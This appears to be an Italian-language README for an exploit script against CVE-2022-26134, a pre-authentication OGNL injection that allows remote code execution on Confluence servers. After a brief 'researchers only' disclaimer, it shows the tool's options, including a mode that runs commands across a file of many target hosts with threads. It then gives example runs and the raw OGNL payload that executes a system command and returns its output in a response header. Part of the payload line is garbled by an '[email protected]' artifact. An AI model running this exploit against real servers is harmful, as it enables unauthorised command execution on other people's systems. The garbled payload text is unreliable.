
Esecuzione di codice remoto pre-autenticazione di Confluence tramite Iniezione OGNL (CVE-2022-26134)
Confluence - Esecuzione di codice remoto pre-autenticazione tramite OGNL Injection (CVE-2022-26134)
Questo exploit è inteso solo per facilitare le dimostrazioni della vulnerabilità da parte dei ricercatori. Non raccomando azioni illegali e non mi assumo alcuna responsabilità per qualsiasi uso malevolo di questo script.

python3 exploit.py -h
Usage: exploit.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri (ex. http://target-uri/)
-f FILEHOSTS, --file=FILEHOSTS
example.txt
-t THREADS_SET, --threads=THREADS_SET
-m TIMEOUT, --maxtimeout=TIMEOUT
-o OUTPUT, --output=OUTPUT
-c COMMAND, --cmd=COMMAND
$ python3 exploit.py -u http://xxxxx.com -c id

$ python3 exploit.py -f urls.txt -p -c id

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}